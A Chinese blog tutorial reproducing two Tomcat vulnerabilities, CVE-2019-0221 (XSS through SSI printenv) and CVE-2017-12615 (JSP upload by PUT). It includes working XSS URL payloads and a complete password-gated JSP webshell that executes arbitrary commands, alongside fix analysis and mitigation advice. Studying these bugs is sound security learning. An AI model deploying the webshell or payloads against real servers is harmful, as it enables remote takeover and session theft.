我成功攻击了Tomcat服务器之后

2021-10-12 04:39:00

Tomcat是一个开源的轻量级Web应用服务器，在我们平常工作过程中接触得非常多。代码也非常经典，很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的：世界上本没有漏洞，使用的人多了，也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程，以及漏洞为什么会产生，Tomcat大神们又是如何应对的。

【攻击一：XSS攻击】

一、SSI技术说明

首先演示的漏洞和Tomcat的SSI功能有关，SSI是什么

SSI技术，也叫作Serve Side Includes，SSI（服务器端包含）是放置在HTML页面中的指令，并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面，而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml；

举例：我们可以将指令放置到现有的HTML页面中，例如：

!--#echo var="DATE_LOCAL" -->

当该页面被执行时，将会显示如下结果

Sunday, 22-March-2020 18:28:54 GMT

SSI最常见的用途之一：输出CGI程序的结果，例如``命中计数器''。关于该技术更为详细的说明参见：http://httpd.apache.org/docs/current/howto/ssi.html

二、为Tomcat开启SSI

准备好JRE、tomcat环境，我选择的是“apache-tomcat-9.0.10” （该漏洞受影响的版本有：Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 ）
修改conf/context.xml第19行，开启权限

<Context privileged="true">

修改confweb.xml，开启SSI Servlet。该段代码默认是被注释掉的，我们删除注释即可，代码在310-322行。

<servlet>
        <servlet-name>ssi</servlet-name>
        <servlet-class>
          org.apache.catalina.ssi.SSIServlet
        </servlet-class>
        <init-param>
          <param-name>buffered</param-name>
          <param-value>1</param-value>
        </init-param>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>expires</param-name>
          <param-value>666</param-value>
        </init-param>
        <init-param>
          <param-name>isVirtualWebappRelative</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>4</load-on-startup>
    </servlet>

去掉关于ssi配置的注释 422-425行

  <servlet-mapping>
        <servlet-name>ssi</servlet-name>
        <url-pattern>*.shtml</url-pattern>
    </servlet-mapping>

在根目录下添加madashu_env.shtml（习惯性命名为printEnv.shtml）文件，位于webapps/ROOT/ssi/

<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>

启动Tomcat即可

三、发起攻击

我们输入以下url看下效果

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

XSS注入

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

攻击成功，页面展示如下。

通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序，攻击者还可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。

四、源码分析

漏洞产生后，Tomcat大神们迅速修复了该漏洞，我们从Github上找到当时的代码修复提交记录：点击查看commit

说真的，当时看到这段修复代码我是惊呆了，这是什么骚操作！！！“entity”又是什么鬼！！！

于是接下往下翻代码

这个地方将我们输入的变量值直接输出到了网页，很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件，路径org.apache.catalina.ssi. SSIMediator

这样我们一下子就明白过来了，当发现是“entity”编码，会将输入的内容进行Escape，从而避免了XSS。
估计大神们当时也是紧急出了个hotfix版本，直接把参数写死成“entity”。还有作为Web服务器，大神们竟然也会犯这么低级别的错误，所以这也解释了为什么不存在0Bug的系统，哈哈！去翻看最新的SSIPrintenv.java文件，已经把“entity”定义成常量了，这才专业嘛！

【攻击二：远程代码执行】

接下来再简单演示下远程代码执行漏洞，该漏洞为高危漏洞，即使是非默认配置，但是一旦存在漏洞，那么攻击者可以成功上传 Webshell，并控制服务器。

通过put方式上传文件，请求进行中时进行拦截：
生成恶意文件，取名叫jiansheng.jsp

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

远程上传成功，接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
整个代码也是比较简单的，可以翻看JspServlet.java，这里就不做演示了。
说明：该漏洞影响范围非常广，从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。

【结语】兴趣是最好的老师，我们通过去看大佬们掉过的坑，写过的代码，站在巨人的肩膀人可以更快速地提升自己。有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞：
http://tomcat.apache.org/security-9.html
本次演示的两个漏洞分别是CVE-2019-0221，CVE-2017-12615。

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